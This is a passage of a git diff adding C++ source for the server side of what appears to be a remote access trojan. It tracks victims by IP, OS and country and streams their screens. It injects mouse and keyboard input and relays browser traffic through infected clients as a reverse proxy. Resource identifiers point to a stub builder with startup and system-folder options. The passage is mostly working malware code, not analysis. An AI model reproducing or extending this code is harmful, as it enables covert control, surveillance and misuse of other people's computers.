+ si.ConnectionCounter = NULL; + start = FALSE; + hWndList = NULL; + SCREENY = FALSE; + si.IsListen = 0; + si.L = NULL; + si.picked = NULL; +} +Packet_Handler::~Packet_Handler() +{ +} +int Packet_Handler::Determine_Packet(Packet_Handler* _Handle, _Packet_Type Type) +{ + switch (Type) + { + // case Message: return Message_Handler(_Handle); + //case File: return File_Handler(_Handle); + case Remote: + default: return 1; + } + return 0; +} +int Packet_Handler::File_Handler(Packet_Handler* _Handle) +{ + //int Check; + //int BuffLength; +/* + if (recv(_Handle->si.Connections[_Handle->si.ConnectionCounter - 1], (char*)&BuffLength, sizeof(int), 0) != INVALID_SOCKET) + { + if (BuffLength != 0) + { + Receive_Full_Packet(_Handle, BuffLength); + + } + } + **************************** + printf("File Downloaded"); + FILE *TempFile; + TempFile = fopen("Test.exe", "wb"); + fwrite(Buff, sizeof(Buff), sizeof(Buff), TempFile); + fclose(TempFile); + ******************************* + */ + return 0; +} +int Packet_Handler::Send_Full_Packet(Packet_Handler* _Handle) +{ + + + return 0; +} +BYTE* Packet_Handler::Receive_Full_Packet(Packet_Handler * _Handle, int* pSize, void * Buff, bool ispchar, int WhichConnection, int pType) +{ + int rCheck = 0; + int Size = *pSize; + rCheck = recv(_Handle->si.Connections[WhichConnection].s[pType], (char*)&Size, 4, 0); + if (rCheck == -1 || rCheck == 0) + { + if(_Handle->start) + MessageBox(NULL, L"Connection Was Closed On Client End", NULL, NULL); + return NULL; + } + *pSize = Size; + //Buff = new BYTE[Size]; + BYTE* isBuff = new BYTE[Size]; + int PacketsReceived = 0; + int PacketsLeft = Size; + int ReceivedPackets = 0; + + while (PacketsReceived < Size) + { + if (ispchar == FALSE) + { + ReceivedPackets = recv(_Handle->si.Connections[WhichConnection].s[pType], (char*)Buff + PacketsReceived, PacketsLeft, 0); + + } + else + { + + ReceivedPackets = recv(_Handle->si.Connections[WhichConnection].s[pType], (char*)isBuff + PacketsReceived, PacketsLeft, 0); + + } + if (ReceivedPackets == SOCKET_ERROR) + { + + return NULL; + + } + + PacketsReceived += ReceivedPackets; + PacketsLeft -= ReceivedPackets; + } + return isBuff; +} +int Packet_Handler::Add_List_Items(Packet_Handler * _Handle) +{ + + +int iSubItem; + + _Handle->lvI.mask = LVIF_TEXT | LVIF_PARAM | LVIF_STATE;// + _Handle->lvI.state = 0; // + _Handle->lvI.stateMask = 0; // + _Handle->lvI.iItem = _Handle->si.ConnectionCounter; + _Handle->lvI.iSubItem = 0; + + _Handle->lvI.pszText = LPSTR_TEXTCALLBACK; + _Handle->lvI.cchTextMax = 100; + _Handle->lvI.lParam = (LPARAM)&si.Connections->Clients[_Handle->si.ConnectionCounter]; + + if (ListView_InsertItem(_Handle->hWndList, &_Handle->lvI) < 0) + return NULL; + NMLVDISPINFOW pLvdi = { 0 }; + pLvdi.hdr.code = LVN_GETDISPINFO; + pLvdi.item.iItem = _Handle->si.ConnectionCounter; + for (iSubItem = 1; iSubItem < 4; iSubItem++) + { + pLvdi.item.iSubItem = iSubItem; + SendMessage(_Handle->mhWnd, WM_NOTIFY, IDS_APP_TITLE, (LPARAM)&pLvdi); + /*ListView_InsertItem(_Handle->hWndList, &lvI); + ListView_SetItemText(_Handle->hWndList, + _Handle->si.ConnectionCounter, + iSubItem, + LPSTR_TEXTCALLBACK*/ + //); + } + + return 0; +} \ No newline at end of file diff --git a/Server/Server/Packet_Handler.h b/Server/Server/Packet_Handler.h new file mode 100644 index 0000000..30c4698 --- /dev/null +++ b/Server/Server/Packet_Handler.h @@ -0,0 +1,80 @@ +#pragma once + +#include "SysTray.h" + +class Packet_Handler +{ +public: + Packet_Handler(); + ~Packet_Handler(); + enum _Packet_Type {Null = 0, File, Remote1, Mouse, Key }Packet_Type; + int Determine_Packet(Packet_Handler*, _Packet_Type); + + //char* Remote_View(Packet_Handler*, int, char*, CLSID*); + + //int Remote_View(Packet_Handler*); + + + + HWND hWndList; + LV_COLUMNW lvC; + LVITEM lvI; + HINSTANCE hInst; + HWND mhWnd; + + struct _Clients + { + wchar_t *_ClientID = new wchar_t[64]; + wchar_t *_IPAdress = new wchar_t[256]; + wchar_t *_OperatingSystem = new wchar_t[64]; + wchar_t *_Country = new wchar_t[64]; + + + }; + + struct MultiClient + { + + + SOCKET s[100] = { 0 }; + _Clients* Clients = new _Clients; + IStream* ScreenShot; + int ssSize; + }; + + + struct _Socketsi + { + SOCKET L; + int picked; + BOOL IsListen; + SOCKET ClientSocket; + MultiClient Connections[250] = { 0 }; + SOCKET ListenSocket; + int ConnectionCounter; + }si; + + BOOL SCREENY; + int socksize = sizeof(SOCKET); + BOOL start; + SysTray* Tray = new SysTray(); + int Clicked_Item; + //_Clients* Clients = new _CLients[250]; // move to multiclient + int Add_List_Items(Packet_Handler*); + int i = 0; + BYTE *Receive_Full_Packet(Packet_Handler*, int* , void*, bool, int, int); + //int NumberOfItems; //use connection counter instead +private: + + int File_Handler(Packet_Handler*); + + + int Send_Full_Packet(Packet_Handler*); + + + + + +}; + + diff --git a/Server/Server/R_Proxy.cpp b/Server/Server/R_Proxy.cpp new file mode 100644 index 0000000..139b475 --- /dev/null +++ b/Server/Server/R_Proxy.cpp @@ -0,0 +1,314 @@ +#include "stdafx.h" +#include "R_Proxy.h" + + +R_Proxy::R_Proxy() +{ +} + + +R_Proxy::~R_Proxy() +{ +} + +int R_Proxy::Initiate_Proxy(Packet_Handler* _Handle) +{ + + + SocketData *sData = new SocketData; + sData->_Handle = _Handle; + unsigned long ul = 1; + if (sData->_Handle->si.L) { + int size = sizeof(sData->BrowserInfo); + sData->BrowserSocket = accept(sData->_Handle->si.L, (sockaddr*)&sData->BrowserInfo, &size); + ioctlsocket(sData->BrowserSocket, FIONBIO, &ul); + + + } + CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)BrowserToClient, sData, NULL, NULL); + + + return 0; +} + +UINT R_Proxy::BrowserToClient(LPVOID pParam) +{ + SocketData* sData = new SocketData; + sData = (SocketData*)pParam; + sData->ListenSocket = sData->_Handle->si.L; + unsigned long ul = 1; + int retval, iport; + + if (sData->BrowserSocket == INVALID_SOCKET) { closesocket(sData->BrowserSocket); return -5; } + char Buffer[1000000] = { '\0' }; + + + + retval = Lrecv(sData->BrowserSocket, Buffer, 0x15000); + if (retval == SOCKET_ERROR || retval == -0) { closesocket(sData->BrowserSocket); return retval; } + + if ((iport = GetAddressAndPort(Buffer, sData->address)) != 1) + { + if (iport != -1) sData->port = iport; + else return -1; + } + else sData->port = 80; + + sData->ClientSocket = sData->_Handle->si.Connections[sData->_Handle->si.picked].s[7]; + int addrlen = strlen(sData->address); + addrlen += 1; + sData->address[addrlen] = '\0'; + retval = send(sData->ClientSocket, (char*)&addrlen, 4, 0); + if (retval == SOCKET_ERROR) + return retval; + retval = send(sData->ClientSocket, sData->address,addrlen, 0); + if (retval == SOCKET_ERROR) + return retval; + retval = send(sData->ClientSocket, (char*)&sData->port, 4, 0); + if (retval == SOCKET_ERROR) + return retval; + + + + + + + if (sData->port == 80) + { + ioctlsocket(sData->ClientSocket, FIONBIO, &ul); + retval = send(sData->ClientSocket, Buffer, strlen(Buffer), 0); + if (retval == 0 || retval == -1) + return retval; + + + + + int c = 0; + for (;;) + { + fd_set broRecv; + timeval conTime; + conTime.tv_sec = 2; + conTime.tv_usec = 0; + + int new_sd; + FD_ZERO(&broRecv); + FD_SET(sData->BrowserSocket, &broRecv); + FD_SET(sData->ClientSocket, &broRecv); + int sel = select(NULL, &broRecv, NULL, NULL, &conTime); + ULONG bytes_available; + if (sel > 0) + { + if (c >= 10) return NULL; + if (Buffer) + memset(Buffer, 0, strlen(Buffer)); + if (FD_ISSET(sData->BrowserSocket, &broRecv)) { + ioctlsocket(sData->BrowserSocket, FIONREAD, &bytes_available); + int bAvail = bytes_available; + if (!bAvail) bAvail = 1; + retval = recv(sData->BrowserSocket, Buffer, bAvail, 0); + if (retval == -1) + return retval; + if (retval != 0) + { + retval = send(sData->ClientSocket, Buffer, retval, 0); + } + else return retval; + + } + if (Buffer) + memset(Buffer, 0, strlen(Buffer)); + if (FD_ISSET(sData->ClientSocket, &broRecv)) { + ioctlsocket(sData->ClientSocket, FIONREAD, &bytes_available); + int bAvail = bytes_available; + if (!bAvail) bAvail = 1; + retval = recv(sData->ClientSocket, Buffer, bAvail, 0); + if (retval == -1) + return retval; + if (retval != 0) + { + retval = send(sData->BrowserSocket, Buffer, retval, 0); + } + else return retval; + + } + } + else + { + c++; + + } + } + } + else + { + int OK = 0; + retval = recv(sData->ClientSocket, (char*)&OK, 4, 0); + if (OK != 200) + return retval; + ioctlsocket(sData->ClientSocket, FIONBIO, &ul); + char* conSuc = "HTTP/1.1 200 Connection established\r\n\r\n"; + retval = Lsend(sData->BrowserSocket, conSuc, strlen(Buffer)); + if (retval == 0 || retval == -1) + return retval; + int c = 0; + + for (;;) + { + fd_set broRecv; + timeval conTime; + conTime.tv_sec = 5; + conTime.tv_usec = 0; + //sizeof(broRecv.fd_count); + int new_sd; + FD_ZERO(&broRecv); + FD_SET(sData->BrowserSocket, &broRecv); + FD_SET(sData->ClientSocket, &broRecv); + int sel = select(NULL, &broRecv, NULL, NULL, &conTime); + ULONG bytes_available; + if (sel > 0) + { + if (c >= 10) return NULL; + if (Buffer) + memset(Buffer, 0, strlen(Buffer)); + if (FD_ISSET(sData->BrowserSocket, &broRecv)) { + ioctlsocket(sData->BrowserSocket, FIONREAD, &bytes_available); + int bAvail = bytes_available; + if (!bAvail) bAvail = 1; + retval = recv(sData->BrowserSocket, Buffer, bAvail, 0); + if (retval == -1) return retval; + if (retval != 0) + retval = send(sData->ClientSocket, Buffer, retval, 0); + else return retval; + } + if (Buffer) + memset(Buffer, 0, strlen(Buffer)); + if (FD_ISSET(sData->ClientSocket, &broRecv)) { + ioctlsocket(sData->ClientSocket, FIONREAD, &bytes_available); + int bAvail = bytes_available; + if (!bAvail) bAvail = 1; + retval = recv(sData->ClientSocket, Buffer, bAvail, 0); + if (retval == -1) return retval; + if (retval != 0) retval = send(sData->BrowserSocket, Buffer, retval, 0); + else return retval; + + } + } + else c++; + } + + + + + } + return 0; +} + + +int R_Proxy::GetAddressAndPort(char * str, char * address) +{ + char buf[10240], command[512], proto[128], *p, *port, *t, *host, *c; + int j, iport; + sscanf(str, "%s%s%s", command, buf, proto); + p = buf; + int i = 0; + + if (p) + { + t = strstr(buf, "http://"); + if (t) + { + p += strlen("http://"); + for (i; i < strlen(p); i++) + if (*(p + i) == '/') break; + *(p + i) = 0; + strcpy(address, p); + p = strstr(str, "http://"); + for (int j = 0; j < i + strlen("http://"); j++) + *(p + j) = ' '; + } + else + { + if (strlen(command) == 7) + { + + for (i; i < strlen(p); i++) + if (*(p + i) == ':') break; + port = (p + i + 1); + iport = atoi(port); + *(p + i) = 0; + strcpy(address, p); + + + return iport; + } + else + { + host = strstr(str, "Host"); + strcpy(address, host); + return 1; + } + } + + } + else return -1; + + return 1; + +} + +int R_Proxy::Lrecv(SOCKET X, char * buff, int size) +{ + int retval; + int i = 0; + int count = 0; + for (;;) + { + if (count > 20) + return i; + retval = recv(X, buff + i, size, 0); + int err = WSAGetLastError(); + if (retval == -1) + { + if (err == WSAEWOULDBLOCK) + { + Sleep(10); + count++; + continue; + } + return i; + } + if (retval == 0) + return i; + count--; + i += retval; + } + return 0; +} + +int R_Proxy::Lsend(SOCKET X, char* buff, int size) +{ + int retval; + int i = 0; + int count = 0; + for (;;) + { + if (count > 20) return i; + retval = send(X, buff + i, size - i, 0); + int err = WSAGetLastError(); + if (retval == -1) + { + if (err == WSAEWOULDBLOCK) + { + Sleep(200); + count++; + continue; + } + return i; + } + if (retval == size) + return retval; + count--; + i += retval; + } +} \ No newline at end of file diff --git a/Server/Server/R_Proxy.h b/Server/Server/R_Proxy.h new file mode 100644 index 0000000..647e71e --- /dev/null +++ b/Server/Server/R_Proxy.h @@ -0,0 +1,33 @@ +#pragma once +#include "Packet_Handler.h" + +class R_Proxy +{ +public: + R_Proxy(); + ~R_Proxy(); + + + int Initiate_Proxy(Packet_Handler*); + + +private: + struct SocketData + { + Packet_Handler* _Handle; + SOCKET ListenSocket; + SOCKET ClientSocket; + SOCKADDR_IN BrowserInfo; + SOCKET BrowserSocket; + char address[256]; + int port; + + }; + + static UINT BrowserToClient(LPVOID); +// static SOCKET ConnectToWebServer(LPVOID); + static int GetAddressAndPort(char*, char* ); + static int Lrecv(SOCKET X, char* buff, int size); + static int Lsend(SOCKET X, char* buff, int size); +}; + diff --git a/Server/Server/Remote_Handler.cpp b/Server/Server/Remote_Handler.cpp new file mode 100644 index 0000000..2f3d8f1 --- /dev/null +++ b/Server/Server/Remote_Handler.cpp @@ -0,0 +1,476 @@ +#include "stdafx.h" +#include "Remote_Handler.h" + +Remote_Handler::Remote_Handler() +{ + + sHandler.tracking = FALSE; + Gdiplus::GdiplusStartupInput gdiInput; + ULONG_PTR gdiToken; + Gdiplus::GdiplusStartup(&gdiToken, &gdiInput, NULL); + GetEncoderClsid(L"image/jpeg", &sHandler.clsid); + sHandler.istream = nullptr; + sHandler.pointy = NULL; + sHandler.pointx = NULL; + sHandler.CursorThread = NULL; + sHandler.KEY = NULL; + sHandler.MOUSE = FALSE; + sHandler.KEYB = FALSE; + +} +Remote_Handler::~Remote_Handler() +{ + +} +int Remote_Handler::Remote_Administration(Packet_Handler* _Handle) +{ + + + + + if (sHandler.Remote_hWnd[_Handle->Clicked_Item] == NULL) + { + + WNDCLASSEXW wcex; + + HINSTANCE hInstance = GetModuleHandle(NULL); + LoadStringW(hInstance, IDC_REMOTEVIEW, szRemoteClass, MAX_LOADSTRING); + wcex.cbSize = sizeof(WNDCLASSEX); + + wcex.style = CS_HREDRAW | CS_VREDRAW; + wcex.lpfnWndProc = Remote_Proc; + wcex.cbClsExtra = 0; + wcex.cbWndExtra = 0; + wcex.hInstance = hInstance; + wcex.hIcon = LoadIcon(hInstance, MAKEINTRESOURCE(MAINICON)); + wcex.hCursor = LoadCursor(nullptr, IDC_ARROW); + wcex.hbrBackground = 0; + wcex.lpszMenuName = MAKEINTRESOURCEW(IDC_REMOTEVIEW); + wcex.lpszClassName = szRemoteClass; + wcex.hIconSm = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_SMALL)); + RegisterClassExW(&wcex); + + + sHandler.Remote_hWnd[_Handle->Clicked_Item] = CreateWindow(szRemoteClass, L"Remote View", WS_OVERLAPPEDWINDOW, + CW_USEDEFAULT, CW_USEDEFAULT, 800, 600, nullptr, nullptr, hInstance , nullptr); + ShowWindow(sHandler.Remote_hWnd[_Handle->Clicked_Item], SW_SHOW); + UpdateWindow(sHandler.Remote_hWnd[_Handle->Clicked_Item]); + //ShowWindow(sHandler.Remote_hWnd[_Handle->Clicked_Item], SW_HIDE); + + sHandler.Remote_Thread_Counter[_Handle->Clicked_Item] = TRUE; + sHandler.Remote_Thread_hWnd[_Handle->Clicked_Item] = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)Remote_Thread, _Handle, NULL, NULL); + + + } + else + MessageBox(NULL, L"You Already Have Remote View Open For this Client", NULL, NULL); + + + + return 0; +} +int Remote_Handler::CursorPos(HWND hWnd) +{ + int i = Which_Thread(hWnd); + while (sHandler.tracking) + { + if (sHandler.istream != nullptr) + { + POINT p; + GetCursorPos(&p); + p = ConvertPoints(&p, hWnd, TRUE, i); + sHandler.pointx = p.x; + sHandler.pointy = p.y; + } + Sleep(150); + } + + return 0; +} +int Remote_Handler::Which_Thread(HWND hWnd) +{ + for (int i = 0; i < 100; i++) + { + if (sHandler.Remote_hWnd[i] == hWnd) + return i; + + } + return NULL; +} +POINT Remote_Handler::ConvertPoints(LPPOINT P, HWND hWnd, BOOL CLICK, int i) +{ + + if (i == NULL) + i = Which_Thread(hWnd); + + if (sHandler.istream != nullptr) + { + POINT p = *P; + RECT rect; + GetClientRect(hWnd, &rect); + if (CLICK == TRUE) + ScreenToClient(hWnd, &p); + float wWidth = rect.right - rect.left; + float wHeight = rect.bottom - rect.top; + if (sHandler.iWidth[i] == NULL) + { + Gdiplus::Image* image = Gdiplus::Image::FromStream(sHandler.istream); + sHandler.iWidth[i] = image->GetWidth(); + sHandler.iHeight[i] = image->GetHeight(); + delete image; + } + float pointx = p.x; + float pointy = p.y; + if (CLICK == TRUE) + { + p.x = (pointx * sHandler.iWidth[i]) / wWidth; + p.y = (pointy * sHandler.iHeight[i]) / wHeight; + } + else + { + p.x = (pointx * wWidth) / sHandler.iWidth[i]; + p.y = (pointy * wHeight) / sHandler.iHeight[i]; + } + + + return p; + } + +} +LRESULT CALLBACK Remote_Handler::Remote_Proc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) +{ + + switch (message) + { + case WM_CREATE: + + break; + case WM_NOTIFY: + break; + case WM_MOUSEMOVE: + { + if (sHandler.MOUSE) + { + if (!sHandler.tracking) + { + TRACKMOUSEEVENT tme; + tme.cbSize = sizeof(TRACKMOUSEEVENT); + tme.dwFlags = TME_HOVER | TME_LEAVE; + tme.dwHoverTime = 1; + tme.hwndTrack = hWnd; + TrackMouseEvent(&tme); + sHandler.tracking = TRUE; + } + } + + }break; + case WM_MOUSEHOVER: + { + if (sHandler.istream != nullptr) + { + + sHandler.CursorThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)CursorPos, hWnd, NULL, NULL); + } + break; + } + case WM_MOUSELEAVE: + { + + sHandler.pointx = NULL; + sHandler.pointy = NULL; + sHandler.tracking = FALSE; + /*if (sHandler.CursorThread != NULL) + { + WaitForSingleObject(sHandler.CursorThread, INFINITE); + CloseHandle(sHandler.CursorThread); + }*/ + break; + } + case WM_KEYDOWN: + sHandler.KEYB = TRUE; + sHandler.KEY = wParam; + break; + case WM_KEYUP: + sHandler.KEYB = FALSE; + break; + case WM_LBUTTONDOWN: + { + if (sHandler.MOUSE) + sHandler.MDOWN = 1; + break; + } + case WM_LBUTTONUP: + { + + if(sHandler.MOUSE) + sHandler.MDOWN = 2; + break; + } + case WM_RBUTTONDOWN: + { + if (sHandler.MOUSE) + sHandler.MDOWN = 3; + break; + } + case WM_RBUTTONUP: + if (sHandler.MOUSE) + sHandler.MDOWN = 4; + break; + case WM_COMMAND: + { + int wmId = LOWORD(wParam); + // Parse the menu selections: + switch (wmId) + { + case IDM_SENDCLICK: + { + if (!sHandler.MOUSE) + { + HMENU hMenu = GetMenu(hWnd); + MENUITEMINFO mItem; + mItem.cbSize = sizeof(MENUITEMINFO); + mItem.fMask = MIIM_TYPE | MIIM_DATA; + mItem.dwTypeData = NULL; + GetMenuItemInfo(hMenu, IDM_SENDCLICK, false, &mItem); + mItem.dwTypeData = L"Don't Send"; + int check = SetMenuItemInfo(hMenu, IDM_SENDCLICK, false, &mItem); + sHandler.MOUSE = TRUE; + } + else + { + HMENU hMenu = GetMenu(hWnd); + MENUITEMINFO mItem; + mItem.cbSize = sizeof(MENUITEMINFO); + mItem.fMask = MIIM_TYPE | MIIM_DATA; + mItem.dwTypeData = NULL; + GetMenuItemInfo(hMenu, IDM_SENDCLICK, false, &mItem); + mItem.dwTypeData = L"Send MOUSE"; + int check = SetMenuItemInfo(hMenu, IDM_SENDCLICK, false, &mItem); + sHandler.MOUSE = FALSE; + } + } + break; + + default: + return DefWindowProc(hWnd, message, wParam, lParam); + } + } + break; + case WM_PAINT: + { + + PAINTSTRUCT ps; + sHandler.hdc = BeginPaint(hWnd, &ps); + RECT rect; + int width = 0; + int height = 0; + if (GetWindowRect(hWnd, &rect)) + { + width = rect.right - rect.left; + height = rect.bottom - rect.top; + } + + if (sHandler.istream != nullptr) + { + + Gdiplus::Graphics graphics(sHandler.hdc); + Gdiplus::Image* image = Gdiplus::Image::FromStream(sHandler.istream); + + Gdiplus::Rect destRect(0, 0, width -15, height - 60); + graphics.DrawImage(image, destRect); + + delete image; + + } + + if (sHandler.cInfo.hCursor != NULL) + { + POINT p; + p.x = sHandler.cInfo.ptScreenPos.x; + p.y = sHandler.cInfo.ptScreenPos.y; + p = ConvertPoints(&p, hWnd, FALSE, NULL); + DrawIcon(sHandler.hdc, p.x, p.y, sHandler.cInfo.hCursor); + } + + EndPaint(hWnd, &ps); + + } + + break; + case WM_DESTROY: + { + int i = Which_Thread(hWnd); + sHandler.Remote_Thread_Counter[i] = FALSE; + WaitForSingleObject(sHandler.Remote_Thread_hWnd[i], INFINITE); + if (sHandler.Remote_Thread_hWnd[i] != NULL) + CloseHandle(sHandler.Remote_Thread_hWnd[i]); + sHandler.Remote_hWnd[i] = NULL; + sHandler.MOUSE = FALSE; + CloseWindow(hWnd); + } + break; + default: + return DefWindowProc(hWnd, message, wParam, lParam); + } + + + + return 0; + +} + +BYTE* Remote_Handler::Remote_Thread(Packet_Handler* _Handle) +{ + int p; + if (_Handle->SCREENY) + { + p = 5; + } + else p = 2; + //Packet_Handler::_Packet_Type rPacket = Packet_Handler::_Packet_Type::Remote; + Packet_Handler::_Packet_Type mPacket = Packet_Handler::_Packet_Type::Mouse; + Packet_Handler::_Packet_Type kPacket = Packet_Handler::_Packet_Type::Key; + Packet_Handler::_Packet_Type nPacket = Packet_Handler::_Packet_Type::Null; + + int WhichConnection = _Handle->Clicked_Item; + int rMote = NULL; +// SendMessage(sHandler.Remote_hWnd[WhichConnection], WM_PAINT, NULL, NULL); + while(sHandler.Remote_Thread_Counter[WhichConnection] == TRUE || _Handle->SCREENY) + { + BOOL StillSend = TRUE; + send(_Handle->si.Connections[WhichConnection].s[p], (char*)&StillSend, sizeof(BOOL), 0); + int Size = 0; + BYTE* Buff = NULL; + if ((Buff = _Handle->Receive_Full_Packet(_Handle, &Size, Buff, TRUE, WhichConnection, p)) == NULL) + { + if (sHandler.Remote_Thread_hWnd[WhichConnection] != NULL) + { + CloseHandle(sHandler.Remote_Thread_hWnd[WhichConnection]); + sHandler.Remote_Thread_hWnd[WhichConnection] = NULL; + SendMessage(sHandler.Remote_hWnd[WhichConnection], WM_CLOSE, 0, 0); + } + break; + + } + if (_Handle->SCREENY) + { + _Handle->si.Connections[WhichConnection].ssSize = Size; + return Buff; + } + if (RecvCursorInfo(_Handle, WhichConnection) == 1) + { + if (sHandler.Remote_Thread_hWnd[WhichConnection] != NULL) + { + CloseHandle(sHandler.Remote_Thread_hWnd[WhichConnection]); + sHandler.Remote_Thread_hWnd[WhichConnection] = NULL; + SendMessage(sHandler.Remote_hWnd[WhichConnection], WM_CLOSE, 0, 0); + } + break; + } + + if (sHandler.MOUSE) + { + + send(_Handle->si.Connections[WhichConnection].s[2], (char*)&kPacket, sizeof(Packet_Handler::_Packet_Type), 0); + send(_Handle->si.Connections[WhichConnection].s[2], (char*)&sHandler.KEY, sizeof(WORD), 0); + sHandler.KEY = NULL; + + // send(_Handle->si.Connections[WhichConnection].s[2], (char*)&mPacket, sizeof(Packet_Handler::_Packet_Type), 0); + POINT p; + p.x = sHandler.pointx; + p.y = sHandler.pointy; + send(_Handle->si.Connections[WhichConnection].s[2], (char*)&p, sizeof(POINT), 0); + send(_Handle->si.Connections[WhichConnection].s[2], (char*)&sHandler.MDOWN, sizeof(int), 0); + sHandler.pointy = NULL; + sHandler.pointx = NULL; + if (sHandler.MDOWN == 2 | sHandler.MDOWN == 4) + sHandler.MDOWN = 0; + + } + else + send(_Handle->si.Connections[WhichConnection].s[2], (char*)&nPacket, sizeof(Packet_Handler::_Packet_Type), 0); + + + if (CreateStreamOnHGlobal(NULL, true, &sHandler.istream) == S_OK) + { + ULONG Bytes; + if (sHandler.istream->Write(Buff, Size, &Bytes) == S_OK) + { + LARGE_INTEGER li; + li.QuadPart = 0; + if (sHandler.istream->Seek(li, STREAM_SEEK_SET, NULL) == S_OK) + { + + InvalidateRect(sHandler.Remote_hWnd[WhichConnection], NULL, TRUE); + //GetLastError(); + ///BeginPaint + UpdateWindow(sHandler.Remote_hWnd[WhichConnection]); + // SendMessage(sHandler.Remote_hWnd[WhichConnection], WM_PAINT, NULL, NULL); + //RedrawWindow(sHandler.Remote_hWnd[WhichConnection], NULL, NULL, RDW_INVALIDATE | RDW_UPDATENOW); + + + + } + } + } + delete Buff; + Sleep(75); + sHandler.istream->Release(); + sHandler.istream = nullptr; + } + + return 0; +} +int Remote_Handler::RecvCursorInfo(Packet_Handler* _Handle, int WhichConnection) +{ + int Check = 0; + Check = recv(_Handle->si.Connections[WhichConnection].s[2], (char*)&sHandler.sP, sizeof(POINT), 0); + if (Check == 0 || Check == -1) + return 1; + ZeroMemory(&sHandler.cInfo, sizeof(CURSORINFO)); + //sHandler.cInfo.cbSize = sizeof(CURSORINFO); + //GetCursorInfo(&sHandler.cInfo); + recv(_Handle->si.Connections[WhichConnection].s[2], (char*)&sHandler.cInfo, sizeof(CURSORINFO), 0); + sHandler.cInfo.ptScreenPos.x = sHandler.sP.x; + sHandler.cInfo.ptScreenPos.y = sHandler.sP.y; + + return 0; +} +int Remote_Handler::GetEncoderClsid(const WCHAR* format, CLSID* pClsid) +{ + + UINT num = 0; + UINT size = 0; + + Gdiplus::ImageCodecInfo* pImageCodecInfo = NULL; + Gdiplus::GetImageEncodersSize(&num, &size); + if (size == 0) + return -1; + pImageCodecInfo = (Gdiplus::ImageCodecInfo*)(malloc(size)); + if (pImageCodecInfo == NULL) + return -1; + Gdiplus::GetImageEncoders(num, size, pImageCodecInfo); + for (UINT j = 0; j < num; ++j) + { + if (wcscmp(pImageCodecInfo[j].MimeType, format) == 0) + { + *pClsid = pImageCodecInfo[j].Clsid; + free(pImageCodecInfo); + return j; + } + } + free(pImageCodecInfo); + return 0; +} +int Remote_Handler::IsRemote() +{ + for (int i = 0; i < 100; i++) + { + if (sHandler.Remote_Thread_Counter[i] == TRUE) { + return 0; + } + + } + return 1; +} + diff --git a/Server/Server/Remote_Handler.h b/Server/Server/Remote_Handler.h new file mode 100644 index 0000000..8525c26 --- /dev/null +++ b/Server/Server/Remote_Handler.h @@ -0,0 +1,54 @@ +#pragma once + +#include "Packet_Handler.h" +#define MAX_LOADSTRING 100 +class Remote_Handler +{ +public: + Remote_Handler(); + + ~Remote_Handler(); + WCHAR szRemoteClass[MAX_LOADSTRING]; + + int Remote_Administration(Packet_Handler*); //eventually need which subitem was clicked + int GetEncoderClsid(const WCHAR* format, CLSID* pClsid); + int IsRemote(); + static BYTE* Remote_Thread(Packet_Handler*); + +private: + static int CursorPos(HWND); + + static LRESULT CALLBACK Remote_Proc(HWND, UINT, WPARAM, LPARAM); + static int Which_Thread(HWND); + static int RecvCursorInfo(Packet_Handler*, int); + static POINT ConvertPoints(LPPOINT, HWND, BOOL, int); +}; + + +static class _sRemote_Handler +{ +public: + DWORD MOUSE; + DWORD KEYB; + + WORD KEY; + float iWidth[100]; + float iHeight[100]; + BOOL tracking; + POINT sP; + CURSORINFO cInfo; + BOOL Remote_Thread_Counter[100]; + HWND Remote_hWnd[100]; + CLSID clsid; + HDC hdc; + IStream* istream; + HANDLE Remote_Thread_hWnd[100]; + HANDLE CursorThread; + float pointx; + float pointy; + struct + { + Packet_Handler * _Handle; + }_Packet_Handler; + int MDOWN; +}sHandler; \ No newline at end of file diff --git a/Server/Server/Resource.h b/Server/Server/Resource.h new file mode 100644 index 0000000..ae0e823 --- /dev/null +++ b/Server/Server/Resource.h @@ -0,0 +1,97 @@ +//{{NO_DEPENDENCIES}} +// Microsoft Visual C++ generated include file. +// Used by Server.rc +// +#define IDS_CLIENT_NAME 1 +#define MAINICON 2 +#define NUM_COLUMNS 4 +#define IDS_IP_ADDRESS 2 +#define IDS_OPERATING_SYSTEM 3 +#define IDD_SERVER_DIALOG 102 +#define IDS_APP_TITLE 103 +#define IDD_ABOUTBOX 103 +#define IDM_ABOUT 104 +#define IDM_EXIT 105 +#define IDI_SMALL 108 +#define IDC_SERVER 109 +#define IDM_SETUP 111 +#define IDC_SETUP 112 +#define IDM_OPTIONS 113 +#define IDC_CREATE 114 +#define IDC_IP 115 +#define IDC_PORT 116 +#define IDC_APPLY 117 +#define TRAY_ICON 118 +#define TRAY_NOTIF 119 +#define IDC_SYS32 120 +#define IDC_STARTUP 121 +#define IDR_MAINFRAME 128 +#define IDC_CANCEL 129 +#define IDM_START 500 +#define IDM_STOP 501 +#define IDC_REMOTEVIEW 502 +#define IDM_SHOW 502 +#define IDM_SENDCLICK 503 +#define IDR_CONTEXT 600 +#define IDR_CONTEXTR 601 +#define IDR_TRAYCONTEXT 602 +#define IDR_CLIENT 666 +#define IDR_CLIENTRAM 667 +#define ID__FILETRANSFER 32773 +#define ID__REMOTEVIEW 32774 +#define ID__QUIT 32776 +#define ID__REFRESH 32775 +#define ID__MESSAGE 32777 +#define ID__SCREENY 32778 +#define ID__REBOOT 32779 +#define IDC_STATIC -1 +#define IDC_RAMORNAH 420 +#define IDR_HISTORY 1600 +#define IDM_HISTORY 1601 +#define IDM_CLEARHISTORY 1602 +#define IDM_REMOTEINIT 1700 +#define IDC_STUBNAME 1701 +#define IDM_SCREENY 1702 +#define IDC_SIP 1703 +#define IDC_SPORT 1704 +#define ID__RPROX 1705 +#define IDM_RPROX 1706 + + + +//////////////Custom Title Bar///////////////////////////////// + +#define IDM_MINI 10001 +#define IDM_SETTINGS 10002 +#define IDM_NAME 10003 +#define IDM_TOOLS 10004 +#define IDM_BUILD 10005 +#define IDM_IP 10006 +#define IDM_OS 10007 +#define IDM_COUNTRY 10008 +#define IDM_PROXY 10009 + +//#define IDB_START 10008 +//#define IDB_STOP 10009 +//#define IDB_EXIT 10018 +//#define IDB_MINI 10019 +//#define IDB_SPLASH 10020 +//#define IDI_SPLASH 10021 +#define IDC_MINI 10022 +#define IDC_BBAR 10023 +#define IDF_FONT 10024 + + +///////////////////////////////////////////////////////////////// + +// Next default values for new objects +// +#ifdef 